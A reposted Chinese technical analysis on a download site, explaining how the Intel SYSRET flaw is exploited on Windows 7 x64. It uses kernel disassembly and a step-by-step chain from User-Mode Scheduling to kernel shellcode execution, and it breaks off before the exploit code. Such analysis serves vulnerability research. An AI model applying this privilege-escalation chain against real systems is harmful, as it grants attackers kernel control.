• <td id="ae6ms"><li id="ae6ms"></li></td>
  • <xmp id="ae6ms"><td id="ae6ms"></td><table id="ae6ms"></table>
  • <table id="ae6ms"></table>
  • <td id="ae6ms"></td>
    <td id="ae6ms"></td>
  • <table id="ae6ms"></table><table id="ae6ms"><td id="ae6ms"></td></table>
  • <td id="ae6ms"></td>
  • <table id="ae6ms"><li id="ae6ms"></li></table>
  • <table id="ae6ms"></table>
    西西軟件下載最安全的下載網站、值得信賴的軟件下載站!

    首頁安全中心系統安全 → Intel Sysret 漏洞在WIN7 X64下的實現分析

    Intel Sysret 漏洞在WIN7 X64下的實現分析

    相關軟件相關文章發表評論 來源:吾愛破解時間:2012/12/4 11:57:32字體大?。?em class="fontsize">A-A+

    作者:wowocock點擊:0次評論:0次標簽: WIN7

    • 類型:壁紙主題大?。?i>7.5M語言:中文 評分:5.7
    • 標簽:
    立即下載

    intel  sysret 漏洞在WIN7 X64下的實現分析。前半部分是網上現有的文章分析,后半部分為代碼實現分析

    1. 漏洞淺析
    在x64系統上,最重要的48位虛擬地址將被用于地址轉換,而此外48到63的任何虛擬地址必須是47位的副本。否則處理器會拋出異常:保護故障(GP)。

    這會將虛擬地址分割位兩個區塊,如:
    ·         規范的高階半區: 0xFFFFFF`FFFFFFFF       0xFFFF8000`00000000

    ·         規范的低階半區: 0x00007FFF`FFFFFFFF   0x00000000`00000000


    而所有這之間的地址都會被認為是不規范的。

    SYSRET指令被用于傳遞返回到普通用戶模式(user-mode)。它將RCX寄存器中的值復制到RIP寄存器中,并把Code Segment Selector位切換位普通用戶模式(user-mode)。然而,RCX寄存器是一個通用寄存器,它可能包含的任何值,包括不規范的地址。并且SYSRET指令一旦拋出異常是不負責退棧切換回用戶空間的,也不負責為GS寄存器做掃尾工作。這意味著,程序員在調用SYSRET指令前后都需要為GS,RSP,RBP做額外的處理。

    而我們恰好發現intel的SYSRET指令實現中存在一個缺陷: 如果一個不規范的地址從RCX寄存器傳遞而拋出GP, 那么在CG,RBP和RSP返回普通用戶模式(user-mode)前, 其ring0的權限不會被取締(因為沒有任何掃尾工作)。

    2. MS windows中的漏洞觸發

    利用這個漏洞的關鍵是要拋出一個不規范的返回地址,而為了在MS Windows中觸發這個漏洞,我們可以有以下的方式:

    ·         映射內存并在0x7FFF`FFFFFFFF位執行一個系統調用。這將返回一個不規范的地址。然而,由于Windows地址空間的限制,這個地址是不可達的,因此此路不通羅馬。

    ·         尋找一個系統調用,并能手動改變返回地址。


    關于后者,可借力于UMS(User-Mode Scheduling 用戶模式計劃程序)。
      PS: MSDN,UMS是一個輕量級的機制,應用程序可以用它來安排自己的線程。應用程序可以在用戶模式下自由進行UMS線程間的切換而不必不涉及系統調度。

    為了使用UMS線程,可以用CreateUmsCompletionList()函數創建一個的UMS調度列表。scheduler線程將被鏈接到此調度列表,而scheduler線程也將需要被創建(scheduler線程通過EnterUmsSchedulingMode()從普通線程晉升為UMS線程)。

    如果UMS線程啟動或阻塞,那么ExecuteUmsThread()函數需要被調用。如果沒有, scheduler需要確定哪些線程將隨后運行。它將排列調度列表,選擇正確的線程。

    EnterUmsSchedulingMode()函數是ntdll.dll中實現的。從匯編代碼中,我們可以看到,它得到當前的UMS線程,完成鏈接調度列表,保存線程上下文(寄存器),然后調用RtlpUmsPrimaryContextWrap()函數。

    1.    .text:0000000078F33A20 RtlEnterUmsSchedulingMode

    2.    .text:0000000078F33A20

    3.    .text:0000000078F33A20 arg_0 = qword ptr 8

    4.    .text:0000000078F33A20 arg_8 = qword ptr 10h

    5.    .text:0000000078F33A20 arg_10 = qword ptr 18h

    6.    .text:0000000078F33A20

    7.    .text:0000000078F33A20 mov [rsp+arg_8], rbx

    8.    .text:0000000078F33A25 mov [rsp+arg_10], rsi

    9.    .text:0000000078F33A2A push rdi

    10.  .text:0000000078F33A2B sub rsp, 20h

    11.  .text:0000000078F33A2F mov rsi, [rcx+8]

    12.  .text:0000000078F33A33 mov rbx, [rcx+10h]

    13.    [...]

    14.  .text:0000000078F33A5D loc_78F33A5D:

    15.  .text:0000000078F33A5D mov rdx, rsi

    16.  .text:0000000078F33A60 xor ecx, ecx

    17.  .text:0000000078F33A62 call RtlpAttachThreadToUmsCompletionList

    18.  .text:0000000078F33A67 test eax, eax

    19.  .text:0000000078F33A69 js short loc_78F33AA0

    20.  .text:0000000078F33A6B lea rcx, [rsp+28h+arg_0]

    21.  .text:0000000078F33A70 call RtlGetCurrentUmsThread

    22.  .text:0000000078F33A75 test eax, eax

    23.  .text:0000000078F33A77 js short loc_78F33A94

    24.  .text:0000000078F33A79 mov rcx, [rsp+28h+arg_0]

    25.  .text:0000000078F33A7E call RtlpSaveUmsdebugRegisterState

    26.  .text:0000000078F33A83 test eax, eax

    27.  .text:0000000078F33A85 js short loc_78F33A94

    28.  .text:0000000078F33A87 mov rdx, rdi

    29.  .text:0000000078F33A8A mov rcx, rbx

    30.  .text:0000000078F33A8D call RtlpUmsPrimaryContextWrap

    31.  .text:0000000078F33A92 jmp short $+2

    RtlpUmsPrimaryContextWrap()函數負責調用scheduler并保存線程信息在一個結構中(ps:這是一個非文檔化的結構),通過反匯編我們可以知道此結構為:
      RSP
      RBP
      返回地址

    1.    .text:0000000078EA03F0 RtlpUmsPrimaryContextWrap

    2.    .text:0000000078EA03F0

    3.    .text:0000000078EA03F0 var_108 = xmmword ptr -108h

    4.    .text:0000000078EA03F0 var_F8 = xmmword ptr -0F8h

    5.    .text:0000000078EA03F0 var_E8 = xmmword ptr -0E8h

    6.    .text:0000000078EA03F0 var_D8 = xmmword ptr -0D8h

    7.    .text:0000000078EA03F0 var_C8 = xmmword ptr -0C8h

    8.    .text:0000000078EA03F0 var_38 = byte ptr -38h

    9.      [...]

    10.  .text:0000000078EA0452 mov [rax+30h], r15

    11.  .text:0000000078EA0456 mov r10, gs:14A0h

    12.  .text:0000000078EA045F lea r10, [r10+10h]

    13.  .text:0000000078EA0463 lea r11, loc_78EA0493

    14.  .text:0000000078EA046A mov [r10+0D0h], rcx             //這里將被HOOK

    15.  .text:0000000078EA0471 mov [r10+0A0h], rbp

    16.  .text:0000000078EA0478 mov [r10+98h], rsp

    17.  .text:0000000078EA047F mov [r10+0F8h], r11              // saved return

    18.  .text:0000000078EA0486 mov r12, 0

    19.  .text:0000000078EA048D xor r13, r13

    20.  .text:0000000078EA0490 mov r14, rdx

    21.  .text:0000000078EA0493

    22.  .text:0000000078EA0493 loc_78EA0493:

    23.  .text:0000000078EA0493 mov r10, gs:14A0h

    24.  .text:0000000078EA049C lea r10, [r10+10h]

    25.  .text:0000000078EA04A0 mov r11, [r10+0D0h]           // scheduler func

    26.  .text:0000000078EA04A7 mov rcx, r12

    27.  .text:0000000078EA04AA mov rdx, r13

    28.  .text:0000000078EA04AD mov r8, r14

    29.  .text:0000000078EA04B0 call r11                                   // calls the scheduler function

    30.  .text:0000000078EA04B3 lea rcx, [rsp+138h+var_38]

    31.  .text:0000000078EA04BB movaps xmm6, [rsp+138h+var_108]

    32.  .text:0000000078EA04C0 movaps xmm7, [rsp+138h+var_F8]

    如果我們調試內核,在Ntoskrnl.exe的KeBuildPrimaryThreadContext()函數處設置bp,我們可以看到0x00000000`78EA0493被保存為返回到用戶空間的地址。

    1.    PAGE:FFFFF80002C5A070 KeBuildPrimaryThreadContext

    2.    PAGE:FFFFF80002C5A070

    3.    PAGE:FFFFF80002C5A070 arg_0 = qword ptr 8

    4.    PAGE:FFFFF80002C5A070 arg_20 = qword ptr 28h

    5.    PAGE:FFFFF80002C5A070 arg_28 = qword ptr 30h

    6.    PAGE:FFFFF80002C5A070

    7.    PAGE:FFFFF80002C5A070 mov [rsp+arg_0], rbx

    8.    PAGE:FFFFF80002C5A075 movsxd rbx, r9d

    9.    PAGE:FFFFF80002C5A078 mov r9, rdx

    10.  PAGE:FFFFF80002C5A07B xor r10d, r10d

    11.  PAGE:FFFFF80002C5A07E mov rax, [rcx+1B8h]

    12.  PAGE:FFFFF80002C5A085 mov r11, [rax]

    13.  PAGE:FFFFF80002C5A088 cmp r8, r10

    14.  PAGE:FFFFF80002C5A08B jz loc_FFFFF80002C5A168

    15.  [...]

    16.  PAGE:FFFFF80002C5A168 loc_FFFFF80002C5A168:

    17.  PAGE:FFFFF80002C5A168 mov rdx, [rdx+50h]

    18.  PAGE:FFFFF80002C5A16C mov rcx, [r9+58h]

    19.  PAGE:FFFFF80002C5A170 mov rax, [r11+108h]

    20.  PAGE:FFFFF80002C5A177 mov [rdx+168h], rax               // saved RIP

    21.  PAGE:FFFFF80002C5A17E mov rax, [r11+0A8h]

    22.  PAGE:FFFFF80002C5A185 mov [rdx+180h], rax

    23.  PAGE:FFFFF80002C5A18C mov rax, [r11+0B0h]

    24.  PAGE:FFFFF80002C5A193 mov [rdx+158h], rax

    25.  PAGE:FFFFF80002C5A19A mov eax, 33h ; '3'

    26.  PAGE:FFFFF80002C5A19F mov [rdx+170h], ax

    27.  PAGE:FFFFF80002C5A1A6 mov eax, 2Bh ; '+'

    28.  PAGE:FFFFF80002C5A1AB mov [rdx+188h], ax

    我們的想法是在ExecuteUmsThread()調用前破壞這個地址為非規范地址。而在用戶態的scheduler中,返回地址保存在: GS:[0x14a0] + 0x10 + 0x1F處。

    內核調度結束后,ntoskrnl.exe中的KiUmsFastReturnToUser()函數被調用。在調用SYSRET指令前, RSP, RBP和GS將會被重置為他們之前保存的副本,返回用戶態的地址也被移入RCX寄存器。

    1.    .text:FFFFF800028DD440 KiUmsFastReturnToUser

    2.    .text:FFFFF800028DD440

    3.    .text:FFFFF800028DD440 var_5046 = dword ptr -5046h

    4.    .text:FFFFF800028DD440 var_4FA6 = byte ptr -4FA6h

    5.    .text:FFFFF800028DD440 arg_42 = byte ptr 52h

    6.    .text:FFFFF800028DD440 arg_80 = byte ptr 88h

    7.    .text:FFFFF800028DD440 arg_190 = dword ptr 198h

    8.    .text:FFFFF800028DD440

    9.    .text:FFFFF800028DD440 sub rsp, 28h

    10.  .text:FFFFF800028DD444 mov rbx, gs:+188h

    11.  .text:FFFFF800028DD44D mov rcx, [rbx+1D8h]

    12.  .text:FFFFF800028DD454 lea rbp, [rcx+80h]

    13.  .text:FFFFF800028DD45B mov rax, cr8

    14.    [...]

    15.  .text:FFFFF800028DD596 loc_FFFFF800028DD596:

    16.  .text:FFFFF800028DD596 mov r8, [rbp+100h]                  // saved RSP

    17.  .text:FFFFF800028DD59D mov r9, [rbp+0D8h]                 // saved RBP

    18.  .text:FFFFF800028DD5A4 xor edx, edx

    19.  .text:FFFFF800028DD5A6 pxor xmm0, xmm0

    20.  .text:FFFFF800028DD5AA pxor xmm1, xmm1

    21.  .text:FFFFF800028DD5AE pxor xmm2, xmm2

    22.  .text:FFFFF800028DD5B2 pxor xmm3, xmm3

    23.  .text:FFFFF800028DD5B6 pxor xmm4, xmm4

    24.  .text:FFFFF800028DD5BA pxor xmm5, xmm5

    25.  .text:FFFFF800028DD5BE mov rcx, [rbp+0E8h]               // saved ret address

    26.  .text:FFFFF800028DD5C5 mov r11, [rbp+0F8h]

    27.  .text:FFFFF800028DD5CC mov rbp, r9

    28.  .text:FFFFF800028DD5CF mov rsp, r8

    29.  .text:FFFFF800028DD5D2 swapgs                                    // switch GS to user

    30.  .text:FFFFF800028DD5D5 sysret

    31.  .text:FFFFF800028DD5D8 db 66h, 66h, 66h, 66h, 66h, 66h

    32.  .text:FFFFF800028DD5D8 nop word ptr [rax+rax+00000000h]

    33.  .text:FFFFF800028DD5E7 db 66h, 66h, 66h, 66h, 66h, 66h

    但是,如果此時RCX是不規范的,那么GP異常將在特權模式下被拋出。

    3. Windows 7 & Windows 2008 R2 x64下的利用

    GP異常拋出時,RSP和RBP可控,GS指向用戶態,PFH(protection fault handler)則被指向KiGeneralProtectionFault()函數

    一種利用此漏洞的方式,是利用已控的RBP和RBP。因為KiGeneralProtectionFault()將會把值寫入堆棧,且堆棧也是可控的?;谶@些我們可以試試write-4 techniques。

    ps: write-4 techniques - http://immunityinc.com/infiltrate/archives/kernelpool_infiltrate2011.pdf

    1.    .text:FFFFF800028DBAC0 KiGeneralProtectionFault

    2.    .text:FFFFF800028DBAC0

    3.    .text:FFFFF800028DBAC0 var_12D = byte ptr -12Dh

    4.    .text:FFFFF800028DBAC0 var_12C = dword ptr -12Ch

    5.    .text:FFFFF800028DBAC0 var_128 = qword ptr -128h

    6.    .text:FFFFF800028DBAC0 var_120 = qword ptr -120h

    7.    .text:FFFFF800028DBAC0 var_118 = qword ptr -118h

    8.    .text:FFFFF800028DBAC0 var_110 = qword ptr -110h

    9.    .text:FFFFF800028DBAC0 var_108 = qword ptr -108h

    10.  .text:FFFFF800028DBAC0 var_100 = qword ptr -100h

    11.  .text:FFFFF800028DBAC0 var_F8 = qword ptr -0F8h

    12.  .text:FFFFF800028DBAC0 var_E8 = xmmword ptr -0E8h

    13.  .text:FFFFF800028DBAC0 var_D8 = xmmword ptr -0D8h

    14.  .text:FFFFF800028DBAC0 var_C8 = xmmword ptr -0C8h

    15.  .text:FFFFF800028DBAC0 var_B8 = xmmword ptr -0B8h

    16.  .text:FFFFF800028DBAC0 var_A8 = xmmword ptr -0A8h

    17.  .text:FFFFF800028DBAC0 var_98 = xmmword ptr -98h

    18.  .text:FFFFF800028DBAC0 var_58 = word ptr -58h

    19.  .text:FFFFF800028DBAC0 arg_0 = qword ptr 10h

    20.  .text:FFFFF800028DBAC0 arg_8 = byte ptr 18h

    21.  .text:FFFFF800028DBAC0 arg_10 = qword ptr 20h

    22.  .text:FFFFF800028DBAC0 arg_24 = dword ptr 34h

    23.  .text:FFFFF800028DBAC0

    24.  .text:FFFFF800028DB600 push rbp

    25.  .text:FFFFF800028DB601 sub rsp, 158h

    26.  .text:FFFFF800028DB608 lea rbp, [rsp+80h]

    27.  .text:FFFFF800028DB610 mov [rbp+0D8h+var_12D], 1

    28.  .text:FFFFF800028DB614 mov [rbp+0D8h+var_128], rax

    29.  .text:FFFFF800028DB618 mov [rbp+0D8h+var_120], rcx

    30.  .text:FFFFF800028DB61C mov [rbp+0D8h+var_118], rdx

    31.  .text:FFFFF800028DB620 mov [rbp+0D8h+var_110], r8

    32.  .text:FFFFF800028DB624 mov [rbp+0D8h+var_108], r9

    33.  .text:FFFFF800028DB628 mov [rbp+0D8h+var_100], r10

    34.  .text:FFFFF800028DB62C mov [rbp+0D8h+var_F8], r11

    35.  .text:FFFFF800028DB630 test [rbp+0D8h+arg_8], 1

    36.  .text:FFFFF800028DB637 jz short loc_FFFFF800028DB65A

    37.  .text:FFFFF800028DB639 swapgs

    38.  .text:FFFFF800028DB63C mov r10, gs:188h

    39.  .text:FFFFF800028DB645 test byte ptr [r10+3], 3

    40.  .text:FFFFF800028DB64A mov [rbp+0D8h+var_58], 0

    然而,因為目標內存周圍數據已被破壞,這使得此exp方法不可靠。

    一個更好的方法是利用指向用戶空間的GS。我們的思路是,欺騙內核調用GS中索引的函數。這種功能可以觸發頁錯誤處理程序(所有這一切需要做的是產生此異常)。

    1.    .text:FFFFF800028DB65A cld

    2.    .text:FFFFF800028DB65B stmxcsr [rbp+0D8h+var_12C]

    3.    .text:FFFFF800028DB65F ldmxcsr dword ptr gs:180h

    4.    .text:FFFFF800028DB668 movaps [rbp+0D8h+var_E8], xmm0

    5.    .text:FFFFF800028DB66C movaps [rbp+0D8h+var_D8], xmm1

    6.    .text:FFFFF800028DB670 movaps [rbp+0D8h+var_C8], xmm2

    7.    .text:FFFFF800028DB674 movaps [rbp+0D8h+var_B8], xmm3

    8.    .text:FFFFF800028DB678 movaps [rbp+0D8h+var_A8], xmm4

    9.    .text:FFFFF800028DB67C movaps [rbp+0D8h+var_98], xmm5

    10.  .text:FFFFF800028DB680 mov eax, [rbp+0E0h]

    11.  .text:FFFFF800028DB686 test [rbp+0D8h+arg_10], 200h

    12.  .text:FFFFF800028DB691 jz short loc_FFFFF800028DB694

    13.  .text:FFFFF800028DB693 sti

    14.  .text:FFFFF800028DB694 loc_FFFFF800028DB694:

    15.  .text:FFFFF800028DB694 mov r10, [rbp+0D8h+arg_0]

    16.  .text:FFFFF800028DB69B mov r9, cr4

    17.  .text:FFFFF800028DB69F mov r8, cr0

    18.  .text:FFFFF800028DB6A3 mov edx, 8

    19.  .text:FFFFF800028DB6A8 mov ecx, 7Fh

    20.  .text:FFFFF800028DB6AD call KiBugCheckDisPatch

    此函數叫做 KeBugCheckEx()

    1.    .text:FFFFF800028DD180 KiBugCheckDispatch

    2.    .text:FFFFF800028DD180

    3.    .text:FFFFF800028DD180 var_118= qword ptr -118h

    4.    .text:FFFFF800028DD180 var_108= xmmword ptr -108h

    5.    .text:FFFFF800028DD180 var_F8= xmmword ptr -0F8h

    6.    .text:FFFFF800028DD180 var_E8= xmmword ptr -0E8h

    7.    .text:FFFFF800028DD180 var_D8= xmmword ptr -0D8h

    8.    .text:FFFFF800028DD180 var_C8= xmmword ptr -0C8h

    9.    .text:FFFFF800028DD180 var_38= byte ptr -38h

    10.  .text:FFFFF800028DD180

    11.  .text:FFFFF800028DD180 sub rsp, 138h

    12.  .text:FFFFF800028DD187 lea rax, [rsp+138h+var_38]

    13.  .text:FFFFF800028DD18F movaps [rsp+138h+var_108], xmm6

    14.  .text:FFFFF800028DD194 movaps [rsp+138h+var_F8], xmm7

    15.  .text:FFFFF800028DD199 movaps [rsp+138h+var_E8], xmm8

    16.    [...]

    17.  .text:FFFFF800028DD1D3 mov [rax+20h], r13

    18.  .text:FFFFF800028DD1D7 mov [rax+28h], r14

    19.  .text:FFFFF800028DD1DB mov [rax+30h], r15

    20.  .text:FFFFF800028DD1DF mov [rsp+138h+var_118], r10

    21.  .text:FFFFF800028DD1E4 call KeBugCheckEx

    22.  .text:FFFFF800028DD1E4 KiBugCheckDispatch endp

    KeBugCheckEx()函數需要將控制狀態寄存器保存到GS索引的一個內存結構。

    1.    .text:FFFFF800028DDC40 KeBugCheckEx

    2.    .text:FFFFF800028DDC40

    3.    .text:FFFFF800028DDC40 var_18= qword ptr -18h

    4.    .text:FFFFF800028DDC40 var_10= qword ptr -10h

    5.    .text:FFFFF800028DDC40 var_8= qword ptr -8

    6.    .text:FFFFF800028DDC40 arg_0= qword ptr 8

    7.    .text:FFFFF800028DDC40 arg_8= qword ptr 10h

    8.    .text:FFFFF800028DDC40 arg_10= qword ptr 18h

    9.    .text:FFFFF800028DDC40 arg_18= qword ptr 20h

    10.  .text:FFFFF800028DDC40 arg_20= qword ptr 28h

    11.  .text:FFFFF800028DDC40 arg_28= byte ptr 30h

    12.  .text:FFFFF800028DDC40

    13.  .text:FFFFF800028DDC40 mov [rsp+arg_0], rcx

    14.  .text:FFFFF800028DDC45 mov [rsp+arg_8], rdx

    15.  .text:FFFFF800028DDC4A mov [rsp+arg_10], r8

    16.  .text:FFFFF800028DDC4F mov [rsp+arg_18], r9

    17.  .text:FFFFF800028DDC54 pushfq

    18.  .text:FFFFF800028DDC55 sub rsp, 30h

    19.  .text:FFFFF800028DDC59 cli

    20.  .text:FFFFF800028DDC5A mov rcx, gs:20h

    21.  .text:FFFFF800028DDC63 mov rcx, [rcx+4BD8h]

    22.  .text:FFFFF800028DDC6A call RtlCaptureContext

    23.  .text:FFFFF800028DDC6F mov rcx, gs:20h

    24.  .text:FFFFF800028DDC78 add rcx, 40h

    25.  .text:FFFFF800028DDC7C call KiSaveProcessorControlState

    26.  .text:FFFFF800028DDC81 mov r10, gs:20h

    27.  .text:FFFFF800028DDC8A mov r10, [r10+4BD8h]

    28.  .text:FFFFF800028DDC91 mov rax, [rsp+38h+arg_0]

    29.  .text:FFFFF800028DDC96 mov [r10+80h], rax

    30.  .text:FFFFF800028DDC9D mov rax, [rsp+38h+var_8]

    KeSaveProcessorControlState()函數將嘗試把cr0寄存器的內容保存在GS:0x20處。

    1.    .text:FFFFF800028DDF70 KiSaveProcessorControlState

    2.    .text:FFFFF800028DDF70 mov rax, cr0

    3.    .text:FFFFF800028DDF73 mov [rcx], rax

    4.    .text:FFFFF800028DDF76 mov rax, cr2

    5.    .text:FFFFF800028DDF79 mov [rcx+8], rax

    6.    .text:FFFFF800028DDF7D mov rax, cr3

    7.    .text:FFFFF800028DDF80 mov [rcx+10h], rax

    8.    .text:FFFFF800028DDF84 mov rax, cr4

    這可以被用來拋出一個頁錯誤:

    如果一個諸如0x54545454`54545454的值被存儲在GS:0x20,那么頁錯誤將被觸發。

    在頁錯誤處理程序中,我們的目標在于達到KiCheckForKernelApcDelivery()函數。它主要包括設置一個有效的指針GS:0x188(初始設置為0)。

    1.    .text:FFFFF800028DBC00 KiPageFault

    2.    .text:FFFFF800028DBC00

    3.    .text:FFFFF800028DBC00 var_158= dword ptr -158h

    4.    .text:FFFFF800028DBC00 var_138= dword ptr -138h

    5.    .text:FFFFF800028DBC00 var_12E= byte ptr -12Eh

    6.    .text:FFFFF800028DBC00 var_12D= byte ptr -12Dh

    7.    .text:FFFFF800028DBC00 var_12C= dword ptr -12Ch

    8.    .text:FFFFF800028DBC00 var_128= qword ptr -128h

    9.      [...]

    10.  .text:FFFFF800028DBC00 push rbp

    11.  .text:FFFFF800028DBC01 sub rsp, 158h

    12.  .text:FFFFF800028DBC08 lea rbp, [rsp+80h]

    13.  .text:FFFFF800028DBC10 mov [rbp+0D8h+var_12D], 1

    14.  .text:FFFFF800028DBC14 mov [rbp+0D8h+var_128], rax

    15.  .text:FFFFF800028DBC18 mov [rbp+0D8h+var_120], rcx

    16.  .text:FFFFF800028DBC1C mov [rbp+0D8h+var_118], rdx

    17.  .text:FFFFF800028DBC20 mov [rbp+0D8h+var_110], r8

    18.  .text:FFFFF800028DBC24 mov [rbp+0D8h+var_108], r9

    19.  .text:FFFFF800028DBC28 mov [rbp+0D8h+var_100], r10

    20.  .text:FFFFF800028DBC2C mov [rbp+0D8h+var_F8], r11

    21.  .text:FFFFF800028DBC30 test byte ptr [rbp+0D8h+arg_8], 1

    22.  .text:FFFFF800028DBC37 jz short loc_FFFFF800028DBCAD

    23.  .text:FFFFF800028DBC39 swapgs

    24.  .text:FFFFF800028DBC3C mov r10, gs:188h

    25.  .text:FFFFF800028DBC45 cmp [rbp+0D8h+arg_8], 33h ; '3'

    26.    [...]

    27.  .text:FFFFF800028DBCAD loc_FFFFF800028DBCAD:

    28.  ; KiPageFault+A6 j

    29.  .text:FFFFF800028DBCAD cld

    30.  .text:FFFFF800028DBCAE stmxcsr [rbp+0D8h+var_12C]

    31.  .text:FFFFF800028DBCB2 ldmxcsr dword ptr gs:180h

    32.  .text:FFFFF800028DBCBB movaps [rbp+0D8h+var_E8], xmm0

    33.  .text:FFFFF800028DBCBF movaps [rbp+0D8h+var_D8], xmm1

    34.  .text:FFFFF800028DBCC3 movaps [rbp+0D8h+var_C8], xmm2

    35.  .text:FFFFF800028DBCC7 movaps [rbp+0D8h+var_B8], xmm3

    36.  .text:FFFFF800028DBCCB movaps [rbp+0D8h+var_A8], xmm4

    37.  .text:FFFFF800028DBCCF movaps [rbp+0D8h+var_98], xmm5

    38.  .text:FFFFF800028DBCD3 mov eax, cs:KiCodePatchCycle

    39.  .text:FFFFF800028DBCD9 mov [rbp+0D8h+arg_24], eax

    40.  .text:FFFFF800028DBCDF mov eax, [rbp+0E0h]

    41.  .text:FFFFF800028DBCE5 mov rcx, cr2

    42.  .text:FFFFF800028DBCE8 test [rbp+0D8h+arg_10], 200h

    43.  .text:FFFFF800028DBCF3 jz short loc_FFFFF800028DBCF6

    44.  .text:FFFFF800028DBCF5 sti

    45.    [...]

    46.  .text:FFFFF800028DBCF6 loc_FFFFF800028DBCF6:

    47.  .text:FFFFF800028DBCF6 mov r9, gs:188h

    48.  .text:FFFFF800028DBCFF bt dword ptr [r9+4Ch], 0Bh

    49.  .text:FFFFF800028DBD05 jnb short loc_FFFFF800028DBD15

    50.  .text:FFFFF800028DBD07 test byte ptr [rbp+0F0h], 1

    51.    [...]

    52.  .text:FFFFF800028EACF2 loc_FFFFF800028EACF2:

    53.  .text:FFFFF800028EACF2 mov r12, gs:188h

    54.  .text:FFFFF800028EACFB mov [rbp+0D0h+var_78], rdi

    55.  .text:FFFFF800028EACFF mov rcx, [r12+70h]

    56.  .text:FFFFF800028EAD04 mov [rbp+0D0h+var_98], rcx

    57.  .text:FFFFF800028EAD08 cmp dword ptr [rcx+438h], 10h

    58.  .text:FFFFF800028EAD0F lea r14, [rcx+398h]

    59.  .text:FFFFF800028EAD16 ja loc_FFFFF800028EB0E2

    60.  .text:FFFFF800028EAD1C mov eax, cs:MiDelayPageFaults

    61.  .text:FFFFF800028EAD22 test eax, eax

    62.    [...]

    63.  .text:FFFFF800028EC79C loc_FFFFF800028EC79C:

    64.  .text:FFFFF800028EC79C call KiCheckForKernelApcDelivery

    65.  .text:FFFFF800028EC7A1 jmp loc_FFFFF800028EAF75

    KiCheckForKernelApcDelivery()函數調用的KiDeliverApc():

    1.    .text:FFFFF8000288AF10 KiCheckForKernelApcDelivery

    2.    .text:FFFFF8000288AF10 push rbx

    3.    .text:FFFFF8000288AF12 sub rsp, 20h

    4.    .text:FFFFF8000288AF16 mov rax, cr8

    5.    .text:FFFFF8000288AF1A mov ecx, 1

    6.    .text:FFFFF8000288AF1F test al, al

    7.    .text:FFFFF8000288AF21 jnz short loc_FFFFF8000288AF3F

    8.    .text:FFFFF8000288AF23 xor ebx, ebx

    9.    .text:FFFFF8000288AF25 mov cr8, rcx

    10.  .text:FFFFF8000288AF29 xor r8d, r8d

    11.  .text:FFFFF8000288AF2C xor edx, edx

    12.  .text:FFFFF8000288AF2E xor ecx, ecx

    13.  .text:FFFFF8000288AF30 call KiDeliverApc

    14.  .text:FFFFF8000288AF35 mov cr8, rbx

    這是一個實現代碼執行的函數。它將提取GS:0x188中的指針,并在一系列解引用操作后設置R11寄存器,而R11寄存器用來調用另一個函數。

    1.    .text:FFFFF800028D1130 KiDeliverApc

    2.    .text:FFFFF800028D1130

    3.    .text:FFFFF800028D1130 var_78= dword ptr -78h

    4.    .text:FFFFF800028D1130 var_58= qword ptr -58h

    5.    .text:FFFFF800028D1130 var_50= qword ptr -50h

    6.    .text:FFFFF800028D1130 var_48= qword ptr -48h

    7.    .text:FFFFF800028D1130 var_40= qword ptr -40h

    8.    .text:FFFFF800028D1130 arg_0= qword ptr 8

    9.      [...]

    10.  .text:FFFFF800028D115B loc_FFFFF800028D115B:

    11.  .text:FFFFF800028D115B mov rbx, gs:188h

    12.  .text:FFFFF800028D1164 mov r15, [rbx+1D8h]

    13.  .text:FFFFF800028D116B mov r14, [rbx+70h]

    14.  .text:FFFFF800028D116F mov [rbx+79h], r9b

    15.  .text:FFFFF800028D1173 mov [rbx+1D8h], r8

    16.  .text:FFFFF800028D117A cmp [rbx+1C6h], r9w

    17.  .text:FFFFF800028D1182 jnz short loc_FFFFF800028D11A8

    18.  .text:FFFFF800028D1184 lock or [rsp+78h+var_78], r9d

    19.  .text:FFFFF800028D1189 lfence

    20.  .text:FFFFF800028D118C lea rsi, [rbx+50h]

    21.    [...]

    22.  .text:FFFFF800028D11EC loc_FFFFF800028D11EC:

    23.  .text:FFFFF800028D11EC mov r8, [rsi]

    24.  .text:FFFFF800028D11EF cmp r8, rsi

    25.  .text:FFFFF800028D11F2 jz loc_FFFFF800029296C7

    26.  .text:FFFFF800028D11F8 mov [rbx+79h], r9b

    27.  .text:FFFFF800028D11FC lea r10, [r8-10h]

    28.  .text:FFFFF800028D1200 prefetchw byte ptr [r10]

    29.  .text:FFFFF800028D1204 mov rcx, [r10+30h]

    30.  .text:FFFFF800028D1208 mov r11, [r10+20h]

    31.  .text:FFFFF800028D120C mov [rsp+78h+arg_10], rcx

    32.  .text:FFFFF800028D1214 mov rax, [r10+38h]

    33.    [...]

    34.  .text:FFFFF800028D12B0 loc_FFFFF800028D12B0:

    35.  .text:FFFFF800028D12B0 mov rax, [r8+8]

    36.  .text:FFFFF800028D12B4 mov rdx, [r8]

    37.  .text:FFFFF800028D12B7 mov [rax], rdx

    38.  .text:FFFFF800028D12BA mov [rdx+8], rax

    39.  .text:FFFFF800028D12BE mov [r10+52h], r9b

    40.  .text:FFFFF800028D12C2 lock and [rbx+88h], r9

    41.  .text:FFFFF800028D12CA movzx eax, r12b

    42.  .text:FFFFF800028D12CE mov cr8, rax

    43.  .text:FFFFF800028D12D2 lea rax, [rsp+78h+arg_18]

    44.  .text:FFFFF800028D12DA lea r9, [rsp+78h+var_48]

    45.  .text:FFFFF800028D12DF lea r8, [rsp+78h+var_40]

    46.  .text:FFFFF800028D12E4 lea rdx, [rsp+78h+arg_10]

    47.  .text:FFFFF800028D12EC mov rcx, r10

    48.  .text:FFFFF800028D12EF mov [rsp+78h+var_58], rax

    49.  .text:FFFFF800028D12F4 call r11

    50.  .text:FFFFF800028D12F7 xor r9d, r9d

    51.  .text:FFFFF800028D12FA jmp loc_FFFFF800028D1190

    而如果R11寄存器指向一個內核shellcode并且內核調用它,則我們的shellcode就能可靠運行了。

    下面我結合代碼進行下簡單的說明。

    上面說了一大通東西,其實關鍵就是

    1,  掛鉤特殊函數使其產生本無法產生的特殊非規范地址,并使指令跳到這個特殊非規范地址從而觸發系統異常。

    2,  系統發生異常時候,通過設置一些特定的數據跳轉,跳轉到我們想要的地方。也就是最關鍵的函數

    nt!KiDeliverApc,大家看代碼的時候,需要結合標紅的字段就可以理解SHELLCODE的布局了。

    觸發這個異常的時候,gs:188指向的是我們分配的0地址,所以

    mov rbx, gs:188h  rbx =0

    lea rsi, [rbx+50h]  rsi =0x50

    mov r8, [rsi]   r8 =0

    lea r10, [r8-10h] r10 = -10h

    mov r11, [r10+20h] r11 = 0x10

    call r11  call的是我們分配地址0+0x10的地方。

    也就是代碼里

